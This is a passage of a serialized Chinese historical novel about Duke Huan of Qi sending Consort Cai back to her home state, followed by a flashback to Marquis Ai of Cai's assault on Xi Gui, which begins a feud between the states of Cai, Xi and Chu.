嫁到齐宫一年多了,可那个老东西却总不见人影,她就象活守寡,这样的鬼日子,什么时候是个头?
月儿低着头说道:“适才竖貂统领派人来告,君侯将去园圃赏琴!”
“有何人作陪?”蔡妃睁大双眼问道。
身材单挑的月儿把嘴一撇,说道:“长卫妃!”
“又是那个老巫婆,就是她挑唆,害得我难见君侯影子!还有何人?”
“闻少卫妃、郑妃、葛赢妃、密妃、宋妃也将同往!”
“惟独无人邀我?”蔡妃气得两眼冒火。
“竖貂统领派人密告于我,言夫人不可同去。”
蔡妃怒气更甚,说道:“为何不让我去?”
“竖貂统领言曰:“众人以楚为敌,恐对夫人不利也!”
“我偏要去,看那个老东西如何待我!来,为我换妆!”
月儿感到为难,站立不动。蔡妃说道:“放心,我自有手段,不会招惹是非!”
月儿只好服从。她一件一件地拣起地下的衣裳折叠好,放进衣柜,又拿出一件紫色的锦绣短袄,说道:“紫为齐国国色,夫人穿上,君侯必然欢喜。”
蔡妃摇摇头,抓起一件红色丝绣金雀短袍,说道:“我偏着楚国国色,气死那老巫婆!”
月儿觉得这样会引出祸端,又不敢顶撞,只默默站着不动。
蔡妃望着她,诡秘一笑,妥协道:“上穿红袍,下着紫裳,如何?”
这样也不妥,但稍微好一点。月儿知道她固执,不再多说,无奈为她梳妆。
齐桓公带着夫人长卫姬和长子姜无忌,在一大群嫔妃和內侍的簇拥下,刚刚走出宫门,蔡妃就从侧门绕了过来,一见齐桓公,她有点胆怯了。
身材魁武的齐桓公内穿黑色衮袍,外披耀眼夺目的紫红披风,头戴七旒君冕,冕旒之下,依然可见他宽阔的脸庞,浓眉耸秀,大眼流光。那丰大的鼻梁,上贯山根。那开阔的印堂,更显君主的威严,一下将蔡姬震住,她定了定神,怯怯上前,一双乌黑的大眼闪烁出明媚的光艳,妖娆地躬身施礼道:“童子拜见君侯!”
齐桓公竟一时没有认出来,问道:“你,你是何人?”
蔡妃一听,那迷人的大眼惊愕地望着齐桓公,委屈的泪水夺眶而出,伤心地说道:“童子嫁与君侯,已春秋一载!君侯竟然不识,我何颜活在世上!”
“原来是蔡妃!寡人老矣!”齐桓公以老卖老,觉得自己太过冷落这个蔡国女子了,便走了过去,拉着她的手,说道:“寡人新得一古琴,非常了得,且随寡人前去欣赏!”
蔡妃惊愕的眼睛一下化出清澈的柔光,笑容溢出,立即回头向长卫妃行礼道:“见过长卫夫人!”
“许久不见妹妹,妹妹可好?”长卫姬皮笑肉不笑地问道。
“多谢姐姐,妹妹安好。”说完转向美貌的少卫姬,她是长卫姬的妹妹,公子元的母亲。
“少卫姐姐可好?”
“本宫尚好,谢妹妹记挂。”单纯的少卫妃露出微笑。
这时,郑妃主动上前,摸着她的锦衣说道:“姐姐人美,锦袍也美!此金雀绣艺非凡也。”
“姐姐花容月貌,妹妹何及?”蔡妃见郑妃主动向她示好,突然明白:郑国是楚国的跟屁虫,他们是一路人啊。
齐桓公等得不耐烦了,这么多嫔妃,要问候到何年何月?他干脆上前说道:“赢妃是潘儿的母亲,密妃是商人的母亲,华子是雍儿的母亲,爱妃可全认得?”
赢妃、密妃和华子知趣地上前:“拜见蔡妃姐姐。”
蔡妃受宠若惊,深深鞠躬道:“早闻三位妹妹温良贤淑,在此见过。”
齐桓公挽着她的手就走,第一夫人长卫妃生气地对妹妹说道:“看那神气,象只发情的骚猫!”
少卫妃望着蔡妃的锦袍,说道:“人在齐宫,仍着楚色,还在仗楚之势也!”
长卫妃一听,招手儿子,问道:“伐楚之事进展如何?”
“君父尚未明示,然中原诸侯皆欲伐楚,楚将何存?”公子无忌宽慰母亲道。
“既要伐楚,君侯为何亲近此女?”长卫姬迷惑地说道,不满地望着齐桓公的背影,缓缓跟了上去。
“恭迎齐侯!”齐桓公刚进园圃,黄国国君赢余与江国国君赢贞笑容满面地一齐迎了上来。
齐桓公惊讶地问道:“二位君侯何时来齐?”
“刚入临淄,闻齐侯欲来赏琴,故来陪赏。”黄侯赢余说道。
其实,去年秋天,两君已在齐国的贯地与齐桓公结盟。此前,东夷的首领徐国就已经与齐国结盟。东夷三强徐、黄、江与齐结盟的目的,就是怂恿齐国攻打楚国。但一年过去了,见齐桓公没有出兵的迹象,两人又来催了。
“敢问齐侯何时出兵?”江国离楚国最近,日夜担心被楚国吞并,江伯赢贞便急着催问。
齐桓公不愿与楚开战,说道:“时机未到,江伯不必操切。”
“那楚人已打到我都城门前,若再来犯,黄国亡也!”黄侯的心更着急。
“此乃十年前之事,黄国无恙,何必担心。”齐桓公耐心劝道。
“楚军未至,是为楚宫内乱。闻熊恽已诛杀王兄熊艰,承位为王,不日必然来犯!”黄侯说道。
“熊恽杀兄夺位?”齐桓公惊讶地问道。
“正是。哥哥熊艰继位五年,却被弟弟诛杀,惜哉!”黄侯说道。
“在楚国,兄弟争斗,总是弟胜哥败,岂非怪事!”江伯意味深长地说道。
齐桓公一怔,说不出话来。却听蔡妃说道:“君侯答应领童子赏琴,为何在此议论不休?”
齐桓公一听,正中下怀,这个女人一来就帮他解围,便高兴地对两位国君说道:“寡人新得一古琴,非同寻常,二位且随我一见。”
这时,长卫姬带着众嫔妃和侍女走了过来。黄、江两君立即退到一边,等众人走过,才跟随而去。
中国古代以中原为华夏正宗。把中原以东的国家和部落鄙称为东夷;南方的各族群统称为南蛮;西方称西戎,北方则称北狄。东夷、南蛮、西戎、北狄被中原人视为异类,統称“四夷”,是讨伐的对象。在过去的数十年中,齐桓公几乎铲灭了北狄,又打败了西戎。现在,东夷主动归顺,齐桓公当然大为高兴。便在贯地之盟时答应讨伐唯一没有征服的南蛮楚国。
但他总是顾虑重重。或许,他真的老了,没有了必胜的信心?他忧心忡忡地从贯地赶回都城临淄。路上见一童子手持古琴沿路乞讨,爱琴的齐桓公见这把琴不寻常,便将童子和古琴带回。一年来与童子硏**琴艺,沉醉其中。
春日的阳光明媚和熙,齐桓公拉着蔡姬,高兴地来到园圃。园圃三面环水,满是亭亭绿树,夭夭修竹。地上绿草茵茵,繁花朵朵。琴师和童子早已把琴架好,管仲与众臣都在这里等候,远远见齐桓公挽着红衣紫裳的蔡姬走来,容貌俊秀、反应敏锐的大行隰朋对管仲耳语道:“此女上衣着红,下裳为紫,是以楚为上,以齐为下也,安得如此!”
“此必去年所娶之蔡女!君上宠之,伐楚无日也。”管仲忧心地说道。
满脸胡须的大司马宾须无说道:“蛮楚吞并江汉,灭申国,亡息国,其势直逼淮水。若不讨伐,东夷诸国恐为刀殂之肉!中原危矣!”
“楚国必伐!”管仲坚定地说道。
“仲父身体可好?”三人正在私语,齐桓公已经走了过来。
“有劳君侯牵挂,老臣身体尚健!”年近七旬,须发银白的管仲答道。管仲至少比齐桓公大十五岁。可他依然眉目清秀,皮肤洁白。椭圆的脸上,一双黑色的大眼明亮闪烁,那挺拔的鼻梁,优雅秀丽。修长的身材着一件浅灰色貂皮上衣,一条紫色鹿皮腰带,被北方贵族少见的蛇形红铜带钩系于腰间。腰带上坠着一片弧形玉璜。下穿绣有鹤形影纹的深色锦裳。仪态尊贵,举止优雅。
“黄侯与江伯欲再度会盟,君上有意否?”隰朋问齐桓公道。
齐桓公突然明白,黄、江二君来到园圃,是隰朋安排的!他有些不高兴,往后望了望,不见二人,说道:“去年已作贯地之盟,如何又盟?”他顿了一下,别人已经来了,怎能拒绝?便说道:“寡人俗事缠身,劳大行代寡人前往一会。”
大行就是外交部长,隰朋还想说什么,齐桓公却转身走向身材单瘦的宁戚,问道:“大司田为何憔悴如此?”
“大司田忧心铁犁换木犁之事,常在田间以铁犁试耕,积劳成疾!”太傅鲍叔牙说道。
大司田就是农业部长。宁戚却没有怨言,他高兴地说道:“禀君侯,铁犁已经铸成,坚锐耐用,可取木犁而代之!”
齐桓公一听,高兴地双手抓住他瘦弱的双肩,说道:“宁戚,宁戚!国之栋梁,臣之楷模也!”
身材高大的太傅鲍叔牙感慨地点点头,说道:“铁犁取代木犁,此农耕大事也!大司田之为,乃治国正道也!”
齐桓公一听,知道师傅又在责怪自己不重视內治,便恭敬地顶撞道:“太傅与大司田理政,寡人何忧?”
宁戚本是卫国的一个落魄书生,是管仲推荐给齐桓公。大司田本来只主管农耕生产。但几十年来,管仲和隰朋一心协助齐桓公经略中原事务,国政实际由太傅鲍叔牙和司田宁戚掌管。齐桓公不管内治,他二人压力巨大,故鲍叔牙有怨言。齐桓公怕师傅教训他,便上前拉住管仲的手,走到古琴边,说道:“仲父详察,可知此琴来由?”
这是一把断纹焦尾琴,琴面为空音的老杉木,底板为回音的紫壇木,那深红的髹漆,使琴更显古朴而典雅,齐桓公用力一拨,那声音如钟声激荡,号角长鸣,余音久久不断。
“此琴独异,必为古琴。臣闻黄帝之琴,作清角之弄,疑为此琴也!小童子,汝是谁?此琴从何而来?”管仲问道。
“父母唤我琴儿。瑶琴为祖传之宝。父亲擅弹,然已亡故。临终嘱我曰:‘琴为尔命,人在琴在!’去年母卒,我便弹琴乞讨,幸遇君侯!”
“哈哈,君侯得此古琴,须为此琴取一雅名,方为谢礼也!”管仲笑道。
这下把齐桓公难住了。他思索良久,说道:“琴声清越如号,高亮如钟,名号钟可否?”说完,回望管仲一眼。
“天赐此名,惟主得之!”管仲击掌称道:“中原欲与楚**战,又恐不利,天遣此儿送号钟,乃大吉之兆也!”
“
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童子既与此琴同命,亦名号钟可矣!”齐桓公故意撇开伐楚话题。
管仲只得顺势说道:“此琴附古圣帝之灵,必及琴儿。号钟还须谢恩!”
“谢国君赐名!”童子有了名字,下跪致谢!
齐桓公抚摸琴身良久,先自弹奏舜帝的《大韶》,声音果然高吭铮亮,众人都击掌叫好。接着,又弹奏了一首周武王的《大武》,众嫔妃大臣的掌声明显稀落了!齐桓公也心意阑珊。他环顾四周,却不见了蔡妃。便把琴让给号钟,令他弹奏,自己走出了人群。
他其实是不想听众臣提伐楚之事,有意避开。何况,他喜欢上了那个胆大泼辣的南方女子,便四处张望,见蔡姬在远处小河边的柳树下独自倘佯,便走了过去。
齐桓公的后宫美女如云。鲁、卫、宋、陈、徐等中原的异姓诸侯纷纷把公主嫁给这个当今霸主。去年蔡国求亲,他也没有拒绝,因为蔡国是周王朝的亲枝正脉,虽然依附楚国,但与齐国并无过节。只是楚国这些年扩张太快,中原诸侯闻楚色变,使他不得不警觉起来。更何况蔡姬嫁到齐国,正碰上徐国、黄国和江国与齐结盟,要共同对付那个蔡的宗主国,齐桓公只好疏远她,致使丈夫认不出老婆。愧疚之余,却心生怜爱。
蔡妃年方十八,窈窕的身材,洁白的皮肤,全身洋溢着青春的光彩,让年迈的齐桓公心中喜欢。但蔡妃不喜欢号钟那高亢激越的琴声。南方女子,只喜欢婉转悠扬之曲,便独自来到湖边。只见明媚的阳光下,湖中水光潋滟,细浪私语,沁人心脾。那河岸垂柳依依,临风轻拂,让她留恋不已。蔡国地处中原东南的江淮流域,有玩水的习性。见齐桓公过来,顿时兴起,拉着他的手,浪漫地说道:“君侯爱划船否?莫负这明艳春色也!”
齐桓公也被这湖光水色所吸引,平时很少划船的他,顿时春情勃发,转身对如影随行的内宫领事公子开方说道:“且去引船过来,寡人与爱妃游湖赏春。”
公子开方转身就去安排。不久,一名内侍摇过来一条小木船,内侍坐在船尾,手扶双桨,请二人上船。长卫姬一看,更加不满,便心生一计,对内侍喝道:“侍者,汝欲与君侯、蔡妃同游乎?”
內侍本应为君主划船,听到长卫姬的话,觉得自己留在船上确实不妥,只得跳下船来。但君主不会划船,如果蔡妃也不会划,岂不要出事?他还是想上船,便回望了一眼长卫姬,见她目光凌厉,又不敢动了。
内侍只得用手扶住还在摇摆的船头,让蔡妃跳了上去。谁知她一跃而上,稳步走到船尾,熟练地握住双桨,让桨叶夹住船身。船,立即不再摆动。齐桓公见她驾轻就熟的模样,高兴地笑了笑,搭着公子开方的手跨上船头,小心翼翼地面向船尾坐下。蔡妃见他坐稳,便倒桨离岸,船如木梭一样,退滑几丈远。蔡妃又抬起右桨,猛力一划,船便向右划出一条弧线,转了过去。齐桓公见她操控自如,高兴之极,拿起一支单桨,也划了起来。
长卫姬见蔡姬对船桨如此娴熟,笑话看不成了,失望之极,转身就走。
船到湖心,齐桓公看到满湖秀色,兴致大好。又看蔡姬的窈窕的身姿,一下随桨前倾,一下挺胸后仰,秀美中透出一股蛮力,说不出的新鲜可爱,便调侃道:“中原传闻:楚女摇船,水鸟衔魚,乃天下至景也!”
蔡姬一听,兴奋地说道:“君侯愿看蔡女摇船否?”
齐桓公没有听明白,说道:“爱妃搖船,格外好看!”
谁知蔡妃立即跳了起来,两腿叉开,双脚踩在左右两边的船舷上,翘着屁股,弯着腰,使劲搖了起来,弄得木船左右颠簸。那放浪的模样,齐桓公见所未见,真觉又野又蛮又可爱,也随她摇了起来。可摇了几下就觉得很不舒服,忙说道:“爱妃小心,寡人晕船。”
可蔡妃不能自制,一双叉开的腿不肯下来,说道:“夫君且看,船可摇着前行!”说着搖得更得意了。
船真的被她摇着向前走,齐桓公却感到天地都在摇晃,他一下头晕、恶心起来,喊道:“寡人不适,爱姬勿摇!”
蔡妃见他狼狈的样子,更加高兴,一面摇一面唱道:“搖船接情郎兮,与郎游大江,江上起风雨兮,双双进船舱-----”
可此时的齐桓公的五脏六肺都要摇出来了!“哇”地一声,猛然呕吐起来,痛苦地吼道:“**!汝敢再摇,寡人将汝扔入水中!”
蔡姬一愣,吓得一屁股坐下,“哇”地一声哭了起来。
众嫔妃和大臣都来到岸边观看。公子开方见君侯呕吐,立即令内侍划船过去,将船拖到岸边。
齐桓公被扶上岸,身形狼狈,全身难受。月儿也上船扶蔡妃上岸,从齐桓公身边走过。看见她那沾满水汚的紫色纱裙,齐桓公厌恶地对公子开方吼道:“此女无礼太甚,送回蔡国!”
“夫妻吵架,何必如此!”作为老师的鲍叔牙觉得小白太没有气量了,正要上去劝阻,管仲一下拉住他的手,说道:“太傅息怒,此天赐伐楚良机也!”
鲍叔牙转过那又大又长的榆木脑袋,两只眼睛望着管仲,疑惑地问道:“此乃君侯家事,与伐楚何关?”
管仲哈哈大笑,说道:“既是君侯家事,臣子何必多言?”
宾须无和隰朋望着不开窍的鲍叔牙,也会心地笑了起来。
公子开方本来是卫国的太子,为齐桓公的妹妹与卫懿公所生,是齐桓公的外甥。数年前,齐桓公奉天子之命讨伐卫国,卫懿公令儿子出城与舅舅讲和。齐桓公一见公子开方,就喜欢上了这个相貌英俊,口齿伶俐的小外甥。便答应讲和。聪明的公子开方从此跟随舅舅来到齐国,连卫国的储君之位都不要了,让齐桓公十分感动,让他统领齐宫事务。从此,齐桓公不仅喜欢他,而且十分依赖他,生活起居和齐宫事物全交由他管,成为霸主身边炙手可热的人物。
很显然,齐桓公与蔡妃上船之前还卿卿我我,现在一怒之下要休掉蔡妃,如果他后悔了呢?聪明的公子开方既要执行国君的命令,又不能让自己惹祸上身,便心生一计,说道:“蔡妃初嫁之时,乃为竖貂前往蔡国迎娶,可令竖貂护送回蔡国。”
“可矣!”管他谁送,先把她弄走就行。齐桓公懒得多想。
倒霉的齐宫禁军统领竖貂,只好亲自将蔡姬送回蔡国。
第3章 风流蔡哀侯
蔡国的都城,位于今河南驻马店市的上蔡县。是周武王的五弟姬度的封国。古代的贵族以封土为氏,称为祚土命氏。故蔡的开国之君姬度被后世称为蔡叔度。
当年,周公旦剿平“三监之乱”后,将为首的三哥管叔鲜和商太子武庚处死,将蔡叔度和霍叔处流放。却把让蔡叔度的儿子蔡仲封到蔡国为君,三监的后代从此安定下来。
虽然蔡仲受封,但从此厄运不断,丧失了大国地位。而天真任性的蔡妃不知家国凶险,恣意妄为,终于被遣送回家。
车过颖河,上蔡就在前方。蔡妃撩开车帘,凝视着故乡的山野,眼泪一下流了出来:女人最大的耻辱就是被休!她有何脸面回家啊!她该怎么办?
车队进入一个山口,就被一队军士拦住。竖貂立即下车,拿出通关文谍,说道:“我乃齐国使者,奉齐侯令,送公主归省。”
“公主归省?”军士们一下惊喜起来。他们丢下竖貂,就向后面蔡妃华丽的辂车拥了过来。
月儿立即放下车帘。可将士们围在车外问道:“公主可好?”
“可否露头一见?”
“公主省亲,为何不见礼车?”
幸好前面护送的戎车启动,蔡妃的辂车也随之前行。可将士们却随车移动,想透过车帷看看公主。蔡妃又羞又怕,紧咬着绣花罗袖机械地往下拉。但用力过猛,罗袖一下被撕裂。她干脆烦躁地乱撕一通,把碎片扔了出去。
那些将士跟过关口,本已停下,见车上飘出鲜美的衣片,立即蜂拥而上,争抢起来。蔡妃偷偷一看,觉得有意思,干脆脱下罗衫,撕成一片片,又扔了出去。
月儿劝道:“公主如此戏耍,恐辱名声。”
“哼,让他们传扬,气死那老东西。”
竖貂也在车上看见了,但他无可奈何,只令开路的戎车加速快走。终于把那些将士们甩得没有了踪影。蔡妃撩帘一看,身边就是她熟悉的黑河,忙喊道:“停车!”
竖貂不知又要玩什么名堂,便下车走来,说道:“夫人何事?”
蔡妃下车,背着手笑道:“人言统领容貌俊秀,正可配一花巾。”说完把背藏的罗衣剩片缠到他头上,一面缠,一面说道:“蒙统领照看,今无以为报,送此罗衣以为答礼。”说完转身向黑河奔去。
竖貂的头和脸被她缠住,忙扯下衣片,突见蔡妃跑向水边,立即喊道:“拦住夫人,她要投河!”
众军士一听,立即追了过去,将她拦住。竖貂上来劝道:“君侯一时恼怒,夫人不必伤心!待君侯气消,必然接夫人回家。”
蔡妃把眼泪一抹,扬起右手,指向北方说道:“宁可沉尸黑河,亦不再回临淄!”说完还要往河里跳。
自认倒霉的竖貂苦苦哀求:“夫人留得一命,必有转机!”
“夫人若自轻自贱,太妃如何还能活下去?蔡侯又何颜面对天下诸侯?”月儿也劝道。
蔡妃一听,安静下来,心中渴望见到母亲,但又伤心地哭道:“我有何颜面再见母亲和君兄?”
“公主归省,便是最大的喜事,何必多虑?”月儿使尽招数规劝,终于把她哄上了车。
蔡穆侯姬肸(xi西)接到竖貂信使的通报,满心欢喜,拉着妻子蔡姜来到太妃蔡妫(guī规)的寝殿,见卧病的母亲半睁着眼,轻声说道:“母亲,妹妹回国省亲,黄昏可至也。”
头发半白的蔡妫立即睁开眼,问道:“是汝告知我染疾卧床?”
“我未通告,或约妹妹思念母亲,故而归省。”
太妃坐了起来,憔悴的脸上露出难得的笑容:“我儿成人,知孝道也。”说着立即起床梳妆。
见母亲高兴,蔡穆侯说道:“母亲不必出迎,待我迎回后立即引来相见。”
太妃笑着说道:“无妨,我与汝等出宫同迎。”
可怜的母亲!姬肸不知有多久没有看到她的笑容了。二十七年前,父亲被楚人俘掳,一去九年。好不容易放回,与母亲共同生活了不到两年,便忧郁而死。守寡至今的母亲,已是形容槁枯了。为了让她高兴,他让夫人为她梳妆打扮,然后扶她出宫。
众人到宫门迎接。蔡妃下车,见到母亲,“哇”地一声哭了起来,一下扑到母亲的怀里,说道:“女儿再也不回齐国了!”
太妃却满脸笑容,说道:“齐侯待我儿如何?”
蔡妃也不避嫌,当众说道:“老东西把我给休了!”
老夫人一听,脸色一下变得惨白,全身摇晃起来,她用枴杖敲着地砖说道:“堂堂蔡国公主,竟弃之如履!我邦从此人见人欺也!”他伤心地捂着胸,弯腰静了一下,又举杖对天,说道:“蔡季,这都是你作的孽啊!”
蔡妃一下蒙了:“母亲,此与君父何干?”
女儿一问,母亲更加痛苦:“若不是你那君父,蔡国岂会连连遭人**?”她转过身来又骂儿子:“既已与楚作盟,为何又去舔那齐侯的冷屁股?楚人岂肯干休?你两面讨好,两面不是人,我看你还有何活路!”她病弱的身子受不住如此重的打击,身体摇晃,一下晕过去了。
“母亲!母亲!”蔡穆侯姬肸赶紧将她扶住,转头对竖貂说道:“竖统领,齐侯果然休妻?”
竖貂无奈地点点头,说道:“君侯并非休妻,只是暂送夫人回国,不久必来迎接!”
姫肸身材瘦长,长脸之上,长长的鼻子中间仿佛有断沟,是中原少见的节结鼻。一双长眼总象咪着,一听竖貂的话,眼睛突然睁大:“齐侯何时来迎?若一辈子不来,舍妹岂不要等一辈子?何故如此?”
竖貂满脸愧色,说道:“先扶太妃进宫,待晚些与君侯细说。”
入夜,蔡穆侯姬肸单独宴请竖貂。竖貂一面喝酒,一面把齐桓公与蔡姬摇船之事告诉了他。他听完后叹道:“去岁寡人将舍妹交与统领,拜请统领照料。不意竟受休妻之辱,此事如何是好?”
竖貂听出,话中明显有怨恨之意。他冷汗直冒,一时不知如何回答,便实话实说:“恕在下无能,君**怒,在下无可奈何!”
确实,齐桓公要休妻,他怎能奈何得了?但是自去年春天来迎接蔡妃,他就受了蔡穆侯大量金银财宝。现在看来,这些钱财都白给了!更何况,与齐联姻,就是竖貂出的馊主意。
原来,蔡国与楚结盟后,便一直担心被齐国讨伐。姬肸左思右想,觉得只有求北邻的陈国帮忙了。
蔡、陈素为睦邻,又是世代姻亲。老太妃蔡妫,便是陈国公主,陈国国君陈宣公当然愿意帮忙,便将齐宫有权有势的禁军统领竖貂介绍给了蔡穆侯姬肸。竖貂见蔡穆侯出手大方,便想出一道妙计,他对蔡穆侯说道:“蔡不能背楚,但可与齐结亲,若成姻缘,齐侯必然保护蔡国!”
姬肸恍然大悟!南面与楚结盟,北面与齐联姻,这是万全之策啊!正巧幼妹尚未出嫁。他便请陈宣公作媒,将妹妹蔡姬嫁给了齐桓公。竖貂还答应在宫内好好照顾蔡妃。谁知今日竟由他遣送回国。
竖貂羞愧难当,说道:“君侯勿忧!我主已老迈昏瞆,管仲已近古稀。而世子未立,不久必有祸灾!令妹回国,正可避祸也!”
姬肸一听,此话虽有脱罪之嫌,却有道理啊!那长卫妃在宫中不可一世,可齐桓公并没有立公子无忌为太子,齐国的内乱不远了。但妹妹被休,是蔡国的国耻,他以后怎么面对天下诸侯?便说道:“虽然如此,舍妹如之奈何?”
竖貂微笑不语,静静望着他。心想,难道你还没听明白?
蔡穆侯见他奇怪的笑容,突然有悟,脱口而出:“齐国将衰,唯楚可靠?”
竖貂点点头,说道:“当今之势,惟楚可保蔡国!”
但蔡穆侯并不想求楚国!楚人将他的父亲蔡哀侯囚禁九年,又攻破蔡都,以武力逼他结盟,他表面与楚为盟,实质对楚人心怀不满,所以想讨好齐国。更何况,与齐联姻,明显有背盟之嫌,此时去求楚人,楚人会怎样对他?若又将他拘留,岂不自寻死路?他愁眉紧锁,说道:“此乃家事,楚王不好掺和。”
竖貂说道:“中原有闻,楚人重情,求者不拒,况君侯乎?”
蔡穆侯一想,也对呀!楚人有求必应,中原皆知。当年,蔡国与楚结盟后不久,他向楚王提出要释放父亲回国。楚国立即将父亲放了回来,也没有要求蔡国派新人为质。楚人看上去蛮横,实质很好打交道。只是,这个忙,楚人也不好帮啊!休掉的女人不像退回的货物,谁愿再娶?就算楚国的将军和大夫,也恐不愿要一个二手货呀!
这时,从西宫跑来一个宫女,神色慌乱地说道:“禀君侯,老太妃昏阙过去了!”
姬肸立即起身,来到西宫母亲
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的寝殿。这里已站满了嫔妃和侍女。人群让开一条路,姬肸急急穿过,进入内寝,跪在母亲床前的塌櫈上,喊道:“母亲可好?母亲!母亲!”
母亲睁开眼,缓缓说道:“母亲将去也!我儿不必伤悲!家国不幸,汝须小心行事,莫学汝父,轻佻一举,遗患无穷!”
姬肸知道母亲担心自己重蹈父亲的覆辙。便不停地点头,说道:“母亲安心养病,小妹之事,孩儿已有应对之策!”
“嫁往楚国?”母亲一眼就看出儿子的心思。
姬肸点点头。
“若能嫁一公卿大夫,亦不失国体也!”老夫人无奈叹道。
“女儿谁都不嫁,只守候母亲了此一生!”一直陪在母亲身边的蔡姬委屈地说道。
“真与尔父一模一样!儿啊,尔父轻薄息妫,被囚九年!汝无礼齐侯,被休回家!蔡国的颜面还有几分?身为女儿,须修德守礼!否则,祸患无尽也!”
“要嫁往楚国,非楚王不嫁!其余皆为不可!”
老夫人一听,急得直喘粗气!断断续续地说道:“你,休得妄想!大楚之王,岂是你,说嫁就嫁!”说完又咳嗽起来。等她缓过气来
已经不能说话了。
这下蔡姬慌了,忙说道:“母亲勿急,孩儿任凭母兄作主!”
“蔡季!蔡季!蔡国若亡,汝便是祸首!”太妃念着丈夫的名字痛骂道,只见她喉咙一阵抽搐,接着两眼翻白,瞳孔开始扩大。
蔡姬惊慌地喊道:“母亲!母亲!”
可是,这个世界上最痛爱她的人,再也睁不开眼了。蔡姬突然感到莫名的恐慌,伏在母亲的身上嚎啕大哭起来!哭了几声,她突然抬头回看哥哥,流着泪问道:“君父薨世多年,母亲为何如此憎恨君父?”
姬肸低头不语。父亲的错,不仅让母亲耻辱地守寡半生,还险些为蔡国带来**之祸!可是,他又怎能告诉妹妹!那不只是父母的耻辱,更是蔡国的耻辱啊!
姬肸的父亲叫献舞,字蔡季,史称蔡哀侯。事情还要从二十八年前说起。
公元前684年春天,陈国的公主要下嫁给息国的君侯。陈在蔡国之北,息在蔡国之南,新娘要从陈国嫁到息国,必向蔡国借道。当时,蔡国国君就是姬肸的父亲蔡哀侯献舞。正巧,他的夫人即今日的老太妃,也是陈国公主,而且是新娘的姐姐,便一口答应借道。
姨妹子出嫁,而且路过国都上蔡,当姐夫和姐姐的怎能不尽地主之谊?献舞便与夫人商量,一起设宴招待新娘。
古代女**多没有名字。因陈国为妫(Gui归)姓,公主又嫁到息国,故史称出嫁的公主为息妫。姐姐姐夫盛情邀宴,息妫却之不恭,欣然赴宴。
家庭私宴,不讲太多的礼节。息妫一进宴厅,便摘下盖头,与姐姐姐夫对面而坐。
蔡季一见新娘真容,只觉灵魂出窍,立即全身酥软,眼色迷离,半天说不出话来。直到姨妹敬酒致谢,心中涌动着难言的惆怅。他才举起酒樽,一饮而尽,可难言的惆怅随酒涌动,说道:“妹妹容颜,世间少有也!”
“谢君侯!”息妫只当姐夫是客套。
可蔡季心中生出无限悲伤,又不能说,便又饮一杯,叹道:“惜哉!惜哉!”
“有何可惜?”夫人奇怪地问道。
“惜嫁与息侯!非我蔡季也!”
“休得胡言!夫君不可有非份之想!”夫人心中的大丈夫,今日却出此无礼之言,让蔡妫非常反感。
“姐夫戏言,姐姐不必当真!”天真的新娘还在劝姐姐!
“我非戏言,此生若得与妹妹相伴,死而无憾也!”说着举爵又饮!
蔡妫一听,愤怒地站了起来,喝道:“夫君为何如此无礼?”说着拉着妹妹就走。
献舞一下清醒过来,起身陪礼道:“蔡季酒后胡言,夫人切莫当真!”
丈夫这些年在中原呼风唤雨,有齐桓公的风范,从未这样失态。蔡妫不再计较,只劝妹妹吃饭。但三人都食不甘味,草草吃完,蔡妫起身喊道:“来人,准备车舆,送新娘回国馆。”
“何必乘车出宫?宫中有道直通国馆,夫人不知?我来送妹,聊表歉意。”蔡季变得冷静而谦恭起来。
天还很亮,又有众多陪嫁媵人相随,蔡妫也不好总是顶撞夫君,只好随众人跟他而去。
未完,待续
第4章 风流蔡哀侯(2)
可蔡悸已魂魄出窍!他在路上痴痴地望着息妫,感到天地失色,人生暗淡,生命毫无意义。国馆不久就到,息妫鞠躬告别,进入卧房,反手关门。蔡季顿觉无限失落,他以手撑住房门,闯了进去,哀怜地说道:“天下美人,无有如妹妹令人心醉者!此生若无妹妹,生有何欢?求妹妹留在敝国!”
“姐夫醉也!我若留蔡,息侯若何?”姨妹好心劝道。
“从媵人中选一女,代替妹妹嫁与息侯!妹妹留下,蔡国后宫全由汝姐妹作主!”
息妫也生气了:“中原诸侯皆知我嫁往息国,岂能中途改嫁?此悖礼之举,不可为之!”
“妹若不允,蔡季生不如死也!”他醉意与淫意交侵,一下扑了过来,把她抱住,按倒在床上,一边扯她的衣裳,一边把她压在身下。
息妫大惊,想不到姐夫竟是这样一个好色轻薄之徒!她一面大喊:“来人!来人!”一面奋力挣扎。侍女们闻声进来,他两手还在她身上乱摸,众人抓住他的手脚,把他从床上拖下来,象猪一样滚到地上,一动不动了。
息妫令队伍星夜兼程赶回息国。
息侯接到天姿国色的新娘,喜出望外!却见众人脸无喜色,闭口无言。便心生疑虑。他亲自把夫人送进国馆,可在温存之际,见她嫁衣撕破,泪眼婆娑,便不断追问缘由。息妫无奈,只好告之实情。
息侯大怒,发誓报仇!婚礼过后,他便召众臣商议。
朝堂上,息侯将息妫受辱之事通报群臣,说道:“蔡侯无礼,息国受辱,何以报仇?”
堂下立即变得鸦雀无声。蔡、息的公族都姓姬,是同姓兄弟。但蔡的开国之君蔡叔度是周武王同父同母的弟弟,系周王室的亲枝正脉,故国家相对更大,实力更强,息国无可奈何。
息国正卿姬梁说道:“蔡、息百年盟友,姬姓兄弟,今为连襟,可谓亲上加亲,不可反目!可遣使责之。”
息侯一听,暴怒道:“不可!息国受辱,若不报仇,何以与中原诸侯同列于世?”
息国位于今河南东南部的息县。有一千多年的历史,古息国本来姓真,初期立国于今山西阳城西面的析城山。商代南迁至河南的罗山境内,依附商族。周武王灭商,也灭掉息国,而封姬姓宗族为息侯,重建息国,故息国公室也为姬姓,属周王室的旁枝支脉。虽同属侯爵,但总觉比蔡国低一等,息人也长期受蔡人的压抑。
上卿就是国相,见君上誓欲报仇,姬梁无奈地说道:“今若与蔡交恶,须与楚结盟,方可无恙。可借楚国之势,教训蔡侯!”
息侯脑洞大开!说道:“上卿言之有理!若与楚盟,我何忧哉!上卿择日出使楚国,与楚结盟,乞楚出师伐蔡!”
公元前684年季春时节,息国上卿姬梁将金银玉器等装满两大辂车,出使楚国。
此时的楚国,经过楚厉王、楚武王和楚文王三代君王百年征战,已征服了中国南方的广袤土地,又灭掉江汉平原上十几个国家,掌控了江汉平原。四年前,继位刚刚两年的楚文王又攻灭了位于南阳盆地的申国,打开了进军中原的门户,其势震惊中原。
此时,楚文王正在大殿内与令尹王子元、莫敖屈重、右军元帅斗谷於兔等几位重臣商讨北伐事宜,廷尉进殿通报:“禀大王,息国上卿姬梁求见!”
楚文王一惊,说道:“楚、息从无往来,息使因何来聘?”
